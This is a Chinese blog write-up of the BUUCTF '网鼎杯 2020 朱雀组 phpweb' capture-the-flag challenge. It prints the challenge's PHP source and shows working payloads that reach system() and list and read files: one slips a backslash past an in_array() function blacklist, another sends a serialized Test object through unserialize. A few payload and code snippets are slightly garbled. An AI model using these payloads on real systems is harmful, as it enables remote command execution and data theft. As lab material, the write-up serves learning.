

BUUCTF [网鼎杯 2020 朱雀组] phpweb

原创

 Senimo 于 2020-12-09 21:45:28 发布  267  收藏 2

分类专栏: [BUUCTF WEB Writeup](#) 文章标签: [BUUCTF 网鼎杯 2020 朱雀组 phpweb writeup CTF](#)

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_44037296/article/details/110940136

版权



[BUUCTF WEB Writeup 专栏收录该内容](#)

65 篇文章 9 订阅

订阅专栏

BUUCTF [网鼎杯 2020 朱雀组] phpweb

考点:

1. \ 绕过 `in_array()` 黑名单 (非预期)
2. `call_user_func()` 函数把第一个参数作为回调函数调用
3. 反序列化
4. `find` 命令模糊查找`flag`位置

启动环境:



页面有 **Warning**，发现页面存在自动刷新情况，使用 **BurpSuite** 抓取数据包：

```
Request to http://21d9aeac-97ce-4ab2-8bf8-bf55c596f5a3.node3.buuoj.cn:80 [111.73.46.229]
Forward Drop Intercept is on Action Comment this item 🎉 ?
```

Raw Params Headers Hex

```
1 POST /index.php HTTP/1.1
2 Host: 21d9aeac-97ce-4ab2-8bf8-bf55c596f5a3.node3.buuoj.cn
3 Content-Length: 29
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://21d9aeac-97ce-4ab2-8bf8-bf55c596f5a3.node3.buuoj.cn
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko)
   Chrome/87.0.4280.88 Safari/537.36
9 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://21d9aeac-97ce-4ab2-8bf8-bf55c596f5a3.node3.buuoj.cn/
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.9
13 Cookie: UM_distinctid=1763b3112bc8ac-0d205f9bf1cb9d-63112c72-1fa400-1763b3112bd8ab
14 Connection: close
15
16 func=date&p=Y-m-d+h%3Ai%3As+a
```

https://blog.csdn.net/weixin_44037296

传参中包含 **func** 与 **p**，且页面中有： **2020-12-09 12:58:53 pm**

也就是执行了 **date()** 函数

根据形式猜测应为函数执行，或命令执行

尝试获取页面源码： **func=highlight_file&p=index.php**

得到了网页源码：

```
<!DOCTYPE html>
<html>
```

```
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
        $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl",
        "eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array",
        "call_user_func","array_filter", "array_walk", "array_map","register_shutdown_function","register_tick_function",
        "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive",
        "pcntl_exec","fopen","fwrite","file_put_contents");
        function gettime($func, $p) {
            $result = call_user_func($func, $p);
            $a= gettype($result);
            if ($a == "string") {
                return $result;
            } else {return "";}
        }
        class Test {
            var $p = "Y-m-d h:i:s a";
            var $func = "date";
            function __destruct() {
                if ($this->func != "") {
                    echo gettime($this->func, $this->p);
                }
            }
        }
        $func = $_REQUEST["func"];
        $p = $_REQUEST["p"];
        if ($func != null) {
            $func = strtolower($func);
            if (!in_array($func,$disable_fun)) {
                echo gettime($func, $p);
            }else {
                die("Hacker...");
            }
        }
    ?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
```

查看其中的PHP代码：

- 变量 `$disable_fun` 设置了函数黑名单，几乎过滤了所有危险函数
- `call_user_func()` 函数把第一个参数作为回调函数调用，其余参数是回调函数的参数，也就是刚刚 `date` 函数执行的地方
- 验证 `call_user_func()` 函数执行后的结果是否为 `string` 类型，真则返回执行结果，假则返回空
- 存在一个 `Test` 类
- 传入变量 `$func` 和变量 `$p` 的值
- 其中变量 `$func` 不为空，并转化为小写
- 变量 `$func` 不在黑名单中，则被执行，否则终止程序

在 `in_array()` 方法执行时，可以使用增加 \ 方式绕过，例如：

直接执行 `system`：

```
14 Connection: close
15
16 func=system&p=whoami
17
26 <script language=javascript>
27     setTimeout("document.form1.submit()",5000)
28 </script>
29 <p>
30     Hacker...
31 </p>
```

会被黑名单拦截，使用 `\system`：

```
func=\system&p=whoami
```

```
29 <p>
30     www-data
31 www-data</p>
```

其并不会影响 `system()` 函数在 `call_user_func()` 或其他函数中的运行，但在 `in_array()` 函数中 \ 会被当作一个字符，可以以此绕过

所以可以直接使用 \ 绕过黑名单，实现命令执行：

```
func=\system&p=ls
```

```
<p>
    bg.jpg
index.php
index.php</p>
```

查询flag所在位置：

```
func=\system&p=find / -name flag*
```

```
76 /sys/devices/platform/serial8250/tty/ttyS8/flags
77 /sys/devices/platform/serial8250/tty/ttyS25/flags
78 /sys/devices/virtual/net/eth0/flags
79 /sys/devices/virtual/net/lo/flags
80 /sys/devices/virtual/net/eth1/flags
81 /tmp/flagoefiu4r93
82 /tmp/flagoefiu4r93</p>
83 <form id=form1 name=form1 action="index.php"
method=post>
```

得到可疑的路径，使用 `cat` 命令查看：

```
func=\system&p=cat /tmp/flagoefiu4r93
```

得到flag:

```
28 </script>
29 <p>
30     flag{3fc7eb5c-ef55-4c7d-ba94-d6e75004f86a}
31     flag{3fc7eb5c-ef55-4c7d-ba94-d6e75004f86a}</p>
32 <form id=form1 name=form1 action="index.php"
      method=post>
```

这只是通过 \ 绕过 `in_array()` 函数，从而实现绕过黑名单，完成命令执行的方法，真正的考点应该是反序列化

继续分析源码 `Test` 类：

```
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettimeofday($this->func, $this->p);
        }
    }
}
```

`Test` 类并没有被调用，但在其析构函数中调用了 `gettimeofday()` 函数

`serialize()` 和 `unserialize()` 函数不在黑名单中，所以使用反序列化方式不会运行黑名单效验

尝试构造序列化，在提交时，`unserialize()` 函数作为变量 `$func` 的值，序列化后的字符串作为参数 `$p` 的值：

```
<?php
class Test {
    public $func;
    public $p;
}

$tmp = new Test();
$tmp->func = "system";
$tmp->p = "ls";

echo serialize($tmp)
?>
```

得到序列化后的字符串：

```
0:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
```

使用POST传参发送数据：

```
func=unserialize&p=0:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
```

可以看到成功执行：

```
29 </script>
30 <p>
31     bg.jpg
32     index.php
33 <form id=form1 name=form1
      method=post>
```

查找flag：

```
func=unserialize&p=0:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}
```

```
16 func=unserialize&p=
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"f
ind / -name flag";}
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
```

得到flag的路径: `/tmp/flagoefiu4r93`, 使用 `cat` 命令读取flag:

```
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}
```

```
16 func=unserialize&p=
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"c
at /tmp/flagoefiu4r93";}
17
18
19
20
21
22
23
24
25
26
27
28 </script>
29 <p>
30   flag{3fc7eb5c-ef55-4c7d-ba94-d6e75004f86a}
31   flag{3fc7eb5c-ef55-4c7d-ba94-d6e75004f86a}</p>
32
```

得到flag



创作打卡挑战赛 >

赢取流量/现金/CSDN周边激励大奖